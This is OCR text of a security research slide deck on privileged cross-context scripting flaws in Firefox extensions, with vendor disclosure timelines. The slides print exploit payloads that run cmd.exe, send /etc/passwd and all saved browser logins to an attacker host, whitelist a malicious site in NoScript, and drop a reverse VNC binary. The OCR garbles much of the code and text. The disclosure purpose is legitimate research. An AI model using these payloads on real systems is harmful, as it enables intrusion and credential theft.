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DISClosure summary

= Abusing Extensions — a selection of exploits and demos
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= What are Firefox extensions?

= |t's just software

= Equivalent of ActiveX
= What extensions do?

= Extend, modify and control browser behaviour

= Provides extended/rich functionality and added features
= Different type of Firefox addons

= Extensions
= Plugins (Search Engine plugins) and Themes
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The Mozilla Platfor

Toolkit

XUL:
- provides Ul to extensions

- combined with JavaScript,
CSS, HTML elements

. o= Il ate \ - " e , Brakepad 4 I
Extension Manager, Update, Moz Storage, Spell Checking, Brakepad -.XUI f||e

Content
XUL XBL
DOM CSS
Lrocument Obyect Model _ascading Style Sheets HTML
M55 / P5SM
Metwork Security Services, Personal Security
Manager
XPCOM
Necko Cross Platform Component Object Model
MNetwork
Library
XPConnect
Bridges |JavaScrpt and XPLCOM
JavaScript
NSPR

Metscape Portable Runtime: Cross Platform APl for System Level Functions

XPConnect:
- middle layer allows JavaScript
to interface with XPCOM

Chrome:
— privileged browser zone
— code fully trusted

XPCOM:

- reusable
components/interfaces

- interact with low layer libraries:
network, 1/O, file system, etc.

XBL:
- allows creation of new widgets

- combined with CSS, XML and
XUL
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= Mozilla extension security model is nonexistent
= Extension code is fully trusted by Firefox

= Vulnerability in extension code might result in full system
compromise

= No security boundaries between extensions

= An extension can silently modify/alter another extension
= XPCom C++ components subject to memory corruption
= Extensions vulnerabilities are platform independent

= Lack of security policies to allow/deny Firefox access to internal API,
XPCom components, etc

= Any Mozilla application with the extension system is vulnerable to
same class of issues (e.g. Thunderbird)
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= Beyond 20% globally since November 2008, more 't
regions/countries

g0%
___h—_ — ———

B0% -

40% -

0% A ——

— — — —
0 . e . ——— /
Jun '08 Jul 'O Aug 05 Sep 08 Qct '08 Moy 'O Dec '05 Jan '09 Feb'08 Mar ‘09 Apr'08
. Internet Explarer . Firefax . Safari . Chrome . Metzcape . Opera . Cther
Manth Internet Explorer Firefox Safari Chrome Hetscape Opera Other
June, 2008 73.1% 19.03% 6.31% 0.00% 0.67% 0.73% 0.25%
July, 2008 73.02% 19.22% 6. 14% 0.00% 0.69% 0.69% 0.24%
ust, 2008 72.15% 19.73% 6.37% 0.00% 0.72% 0.74% 0.29%

September, 2008 71.52% 19.46% 6.65% 0.78% 0.63% 0.69% 0.27%
October, 2008 7.27% 19.97% 6.97% 0.74% 0.45% 0.75% 0.25%
November, 2008 69.77% 20.78% 7.13% 0.83% 0.53% 0.71% 0.25%
December, 2008 68.15% 21.34% 7.93% 1.04% 0.57% 0.71% 0.26%
January, 2009 67.55% 21.53% 8.29% 1.12% 0.57% 0.70% 0.24%
February, 2009 67.44% 21.77% 8.02% 1.15% 0.66% 0.71% 0.25%
March, 2009 66.82% 22.05% 8.23% 1.23% 0.69% 0.70% 0.28%
April, 2009 66.10% 22.48% 8.21% 1.42% 0.82% 0.68% 0.29%

=  Source: Marketshare - marketshare.hitslink.com
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= Statistics — AMO (Addon%ﬂrg) Do

= 1] billion extension downloads from AMO — N
Total Add-on Downloads

1 billion

800 million

600 million

400 mnillion

200 million

0

Jul Aug  Sep Oct Mov Dec Jan Feb Mar Apr May Jun  Jul Aug Sep Oct  Now
2007 2008

Downloads from addons. mazilla.ong omly. Prior To July 2007, daily couniz were motl kepl
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Google Toolbar
Google Browser
Sync

Yahoo Toolbar
Ask.com Toolbar

Del.icio.us
Extension
Facebook
Toolbar
AOL Toolbar
LinkedIn
Browser
Toolbar

rywhere
Ny

Netcraft Anti-
Phishing
Toolbar
PhishTank
SiteChecker

Skype
AVG
Ubuntu
LiveLink
(OpenText)
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AMO (addons
mozilla org)
Mozdev
Xulplanet
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= Human Factors - users:
= Trust
= AMO Recommended Extensions recommended
= Open Source

= Misconception = users expect extensions to be safe """’Illl ;lt».J ¥ N0 SPYWARE

3. NO ADWARE
FREE _.f ¥ NO VIRUSES

= 'according to Softpedia, it's 100% safe’ N—~

SOFTPEDIA
= NoScript/AdBlockPlus provides false sense of security crtied by wnwsaftpeia om

= chrome:// URI whitelisted on NoScript, any XSS injection there
IS not blocked
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Ik
= Human Factors — developers:

= The Mozilla page for building extensions doesn't mention the word
'security’ once

= Many addon developers do it for a hobby — not necessarily aware of
how dangerous a vulnerable extension can be

= Human Factors —reviewers:
= Don’t need to have great knowledge about app / webapp security
= Need to follow a few guidelines for what is and isn’'t acceptable
= These guidelines focus on finding malicious extensions
* Vulnerable extensions can quite easily slip through
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= Everyone can write an extension and submit it to
= AMO review process lacks complete security asse

D

Lk

YES  Updateto
Public Add-on
Add-on » New
subml tted Add-on? T"“

Author nominates
non-public add-on

Editor Review

no Trusted

PUBLIC

= Few extensions are signed in AMO. Extensions are generally not
“signed”. Users trust unsigned extensions.

= Experimental extensions (not approved yet) are publicly available
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= Some people have already exploited this concept:
= FormSpy - 2006

= Downloader-AXM Trojan, poses as the legitimate NumberedLinks
0.9 extension

= Steal passwords, credit card numbers, and e-banking login details
= Firestarterfox - 2008

= Hijacks all search requests through multiple search engines and
redirects them through Russian site thebestwebsearch.net

= Viethnamese Language Pack - 2008
= Shipped with adware because the developer was owned

= Might happen in the near future...

= Malware authors bribe/hack famous/recommended extension
developer/vendor

. Initial benign extension, malware is introduced in an 3'9/4th update
emper C



Extensions

Finding bugs in Firefox extensions is fun ;
= Multiple ways to find them — it depends on:

Nature of the extension
Logic exposed

Input and output

XPCOM components

Third party APl/components

= Qur research focus:
= Extension logic, security model and functions exposed

= Extension data flow and data injection points
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XSS or Cross Browser Context security_a@:ssesiment_com

= XSS on steroids
= Any input rendered in the chrome is a potential XSS injection point

i; - c A ||j |u:hru:ume:,I',l'm,l'ccuntent,l'diFFF'age.:-:ul?

@ Disable - .&. Cookies - |55+ - | Forms - |4 Images - @ Infarmation =
http:/ /malerisch.net/lab/test/test.html
The page below was last scanned koday at 1:20. The changes are highligh

View: Old Page Mew Page Changes Current Page

I I am mn chrome! :-)) I

= XSS in chrome is privileged code!
= |t can interface with XPConnect and XPCOM = Own3d!
= No SOP restrictions!
= Cannot be blocked by NoScript!
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MoScript Options El

Gereral  Whitelist | Plugins | Appearance | Motifications I Advanced

You can specify which web sites are allowed to execute scripks, Type the address or the
domain {&.g. "http: ) fumse, site,com” or “sike,com") of the site you want ta allow and then click
Al

address of web site:

about:blank, ;I
about:certerror
about:config
about:credits
about:neterror
about:plugins
about:privatebrowsing
aboutsessionreskore
iless
FESOLFCE!

=l

Rermove Selected Sites | Revoke Temporary Permissions | Import | Export

Impork | Expork | Feset ] 4 I iZancel |
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XSS disclosing /etc/passwd secu,ity_acsiezjsiment_com

w [JavaScript Application] O X

poolflpd:/hin,
il:/bin

(admin)
Jbinf

haldaemaor
) 11
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= Run Firefox with console active
= firefox.exe -console

= To confirm execution of our XSS payload, generate an error into
console — dump(error);

= |s our XSS in Chrome? Check all window properties - not just window

ﬂMuzilla Firefox
window=[object Windowl but window.location=chrome ://mplebessen/content/diffPage .|

UL lOo-£rfratitle-ncLcp<3dfl/smalerisch.net lab-test- -test _htmliurl=httpx3A- - maleris

ch.net/labstest test._html&oldDate=todayx2Batx200:x3IAB2&newDate=todayx2B8atx288:x3A3
s
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= Check if nsiScriptableUnescapeHTML.parseFragment() is used
= | ack of this might mean use of input black-list filters

Method Description Payload
iframe with data URI and <iframe src =
base64 payload ‘data:text/html;base64,base64XSSpayloadhere’
Recursive iframes <iframe src = “data:text/html,<iframe src =

‘data:text/html;base64,base64iframe+data+XSSpa
yload> </iframe”></iframe>

Embedded XSS <embed src=‘javascript:XSSpayload’>

XSS on DOM events <img src="a’ onerror=XSSpayload>

XUL injection <I[CDATA["<button id="1" label="a”
oncommand="alert(window)’ />"]]>

XBL injection style="-moz-binding:url(data:text/xml;charset=utf-
8,XBL)”
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Firebug — provides console, monitor and debugging fe
Chromebug — Firebug for chrome, XUL
WebDeveloper — allows more control on page elements, cookies
XPComViewer — shows registered XPCOM components/interfaces
Venkman - JavaScript Debugger

Console2 — advanced error console

ChromeList — File viewer for installed extensions

Execute JS - enhanced JavaScript-Console

DOM Inspector — allows inspecting the DOM

Burp — web proxy

Mozrepl — js shell via telnet service

Sysinternals Tools — regmon, filemon, tcpmon, etc.
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Extension Date Disclosed | Vendor Response Fix Date
Name Date
WizzRSS 2009/02/18 2009/02/18 2009/03/20
CoolPreviews 2009/03/05 No response, silently 2009/04/20
fixed
FireFTP N/A N/A 2009/02/19
Undisclosed 2009/02/16 2009/02/16 N/A
Feed Sidebar 2009/03/04 2009/03/05 2009/03/14
Undisclosed 2009/02/27 N/A N/A
UpdateScanner 2009/06/08 2009/06/11 2009/06/15
Undisclosed 2009/06/22 N/A N/A
Undisclosed 2009/06/30 2009/06/30 2009/07/06
ScribeFire 2009/07/10 2009/07/15 2009/07/20
Skype N/A N/A 2009/06/03

svabel-Otal number of downloads from AMO: 30,000,000+
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Skype (<=3.8.0.188)

= |ssue:

= Automatic arbitrary number of calls to arbitrary phone numbers and
skypenames

= Function skype_tool.call() is exposed to DOM and can be called
directly

= Skype username injection - skypeusername%00+\"

Filtering/Protection: %@
= None.

= Exploit:
= Automatic arbitrary phone call to multiple numbers
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= Demo.avi
= Arbitrary phone calls

<prs
Telephone: +64 9 307 3388

<SCripts
SetIﬂtEPva1(1dmcumEHt location=Y' Javascript:skype_tool, C&]ﬂ(i”i
+6322131218;+ O, F63221317-0, 40322 Tt :
+63213213123;+6421323235 AR A 4GOOJ

<fscripts
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= CoolPreviews — 2.7 ﬁ,’ﬁﬁ,l”’

recommended

= |ssue:

= URI is passed to the CoolPreviews Stack without any filtering.

= A data: URI is accepted and its content is rendered in the chrome
privileged zone.

= User triggers exploit by adding the malicious link to the CoolPreviews
stack (right-click by default)

Filtering/Protection: e
= No use of URI whitelist

= Exploit:
= data:text/ntml,base64;payloadbase64encoded
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= Remote Code Execution Payload — invoking cmd.exe

<scripts

var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components. interfaces.nsIProperties).get("Home", Components.interfaces.nsIFile);

var 1File = Components.classes["@mozilla.org/file/local;1"].
createInstance(Components. interfaces.nsILocalFile);

|var 1Path = "C:\\WINDDWShhsystemBE\\win.cnm";a1ert(1pathi;1Fi1e.initwithPath(1Path);

var process = Components.classes["@mozilla,org/process/util;1"].
createInstance(Components. interfaces| nsIProcess);

process.init(1Fi1e];prucess.run(fa15e,[lC:HHWINDDWSH\systemEE\\cmd.exe1],1];

</scripts>

BMember of |



* C7aD
e SC an n er security-assessment.com

g

Update Scanner (<3.0.3) — 239,398

recommended

" |ssue:
= Updated content is rendered within a chrome privileged window.

= Malicious site inserts new payload and that is rendered when the user
looks at the site changes from the Update Scanner window

Filtering/Protection:

= <script>is ignored ‘
Exploit:

= XSS via event handler : <img src=a onerror=‘evilpayload’>
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= Compromising NoScript — whitelisting malicious site

var prefs = Components.classes["@mozilla.org/preferences-service;1"]
.getService (Components. interfaces.nsIPrefservice);

prefs =|pPeF5.getBraﬂch(”capabi1ity.pc1icy.maoﬂoscript.“)4

pPefslsetCharPPef(”sites”, ”ma]icioussitehere.com”)ﬂ
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FireFTP (<1.1.4) 10579802

recommended

= |ssue:

= HTML and JavaScript in a server's welcome message is evaluated
when connecting to an FTP server.

= The code is executed in the chrome privilege zone

Filtering/Protection:
= None.
Exploit:
= Local File Disclosure
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= | ocal File Disclosure

<html=>
<head>

<script>
function s() {

IX = dncument.getEiementById("test"}.cnntentwindowd

alert(x.document. getElementsByTagName("body") ["0"]. innerHTML);

document. location="http://maliciousite/"
+unescape(x. document. getElementsByTagName ("body") ["0"]. innerHTML);

¥

</scripts>
</head>
<body>

kiframe src="view-source:file:///etc/passwd" id:"test"b{fiframE}

{scripttsetTimenut('sij',EDUU);kfscript}

</body>
BMe «/html>
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* Feed Sidebar (<3.2) — 588,56”

recommended

C7aD
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= |ssue:

= HTML and JavaScript in the <description> tags of RSS feeds Is
executed in the chrome security zone.

= JavaScript is encoded in base64 or used as the source of an iframe
and executed when the user clicks on the malicious feed item.

= Filtering/Protection:

= <script>tags are stripped
= Exploit: .

= &lt;iframe
src=&quot;data:text/ntml;base64,base64encodedjavascript&quot;&gt;&
It;/iframeé&gt;
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= Password stealing

“sCripts

var l2m=Components.classes["@mozilla. Dng1Dg1ﬂ manager;1l"].getservicer
interfaces.nsILoginManager

COmponents.

alltheinfo

= 12m.getallLogins ({1

taor Ei=0;i{=a11the1ﬂfn 1ength T=1+171

document

unescapef
et oun

</SCripts

wedtal—adframa sro=ttp: Jmalicioussite/ 7"

ralltheinfol[i]. hostname

+
Swior

'+ unescape[a11the1nfu[1] usernamel +
+ " owidth=0 height=0>< 1Trames");
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= ScribeFire (<3.4.3) — 2,555,”5

recommended

= |ssue:

= JavaScript in DOM event handlers such as onLoad is evaluated in the
chrome privileged browser zone.

= Drag & dropping a malicious image into the blog editor executes the
JavaScript.

= Filtering/Protection:
= No protection for DOM event handlers. ﬁ
= Exploit:

= <img src="http://somewebsite.tld/lolcatpicture.jpg’
onLoad="evilJavaScript’>
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= Reverse VNC Using XHR — contents of payload

war xmihttp;
function ToadsmLDocCur1lq
xmlhttp=new KWLHtEpRequezt[j%

lain; charset=x-user-defined' 1;xmlhttp. send{null
cetTimeout smaker1 le(xmIhttp. responseText );

XMINELP. sTatus==

function makefile(bdatalq
var getworkingDirs=
Components. classes["@mozilla. orgAile directory_service; 1] . getservicelComponents. in
terFacegﬁHSIPerertiesj.get(”HDme”, Components. interfaces.nsIFile);
war afFile =
Components. classes["@mozilla. org A1 1eMocal; "] . createInstanceCompaonents. interfaces
.hsILocalFilel;

aFile.initwithrPath( getworkingDir.path +!”\\reushe11 gxe j!
aFile.createdniquet Components.interface E_TYPE, 777);

war stream =
CumpDnEﬂts C1&SSES[ @mnz111a Drgfnetwurkfsafe —file-output-stream;1"].createlnstancef

Stream. 1ﬂ1t(aF11E Dde | DxDB | CQx20, OF7F7, 0);

Stream.write bdata bdata. lengthl;

1 stream ThnsTanceol Components.intertaces.nsIsafeoutputstream)q
stream.Tinish{); } else{stream.close);

¥
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= Security disclosure is a new process to e
developers/vendors |

= Security is underestimated/not understood.

= Few posts regarding security vulnerabilities in Firefox extensions in
sec mailing-lists as Full Disclosure.

= Mozilla security team can now be queried for bugs found in extensions
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Developers:
= Follow OWASP developer’s guide
= Read code of similar extensions for ideas on avoiding comm

Security professionals:
= Adhere to the OWASP testing guide and our presentation
= \Watch for publications for new ideas on breaking extensions

End-users:
= Don't trust extensions!
= Changelogs of security issues / Bugzilla
= Updating addons (after checking the above)
= Consider Safe Mode (disable all extensions)
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ks! (bu rl)
Roberto.sugagi@security-assessment.
Nick.freeman@security-assessment.com
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»= Research and publications on the topic

= Extensible Web Browser Security - Mike Ter Louw, Jin
and V.N. Venkatakrishnan

= http://www.mike.tl/view/Research/ExtensibleWebBrowserSecur
ity

= Bachelor thesis on Firefox extension security - Julian Verdurmen

= http://iverdurmen.ruhosting.nl/BachelorThesis-Firefox-
extension-security.htmi

= Attacking Rich Internet Applications (kuza55, Stefano Di Paola)

= hitp://www.ruxcon.org.au/files/2008/Attacking Rich Internet A
pplications.pdf
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Firebug — Petko. D. Petkov, Thor Larholm, 06 apr
= http://larholm.com/2007/04/06/0day-vulnerability-i
= http://www.gnucitizen.org/blog/firebug-goes-evil/

Tamper Data XSS - Roee Hay — 27 jul 2008
= http://blog.watchfire.com/wfblog/2008/07/tamper-data-cro.html

GreaseMonkey — ISS — 21 Jul 2005
= http://xforce.iss.net/xforce/xfdb/21453

Sage RSS Reader (pdp & David Kierznowski)

= http://www.gnucitizen.org/blog/cross-context-scripting-with-
sage/
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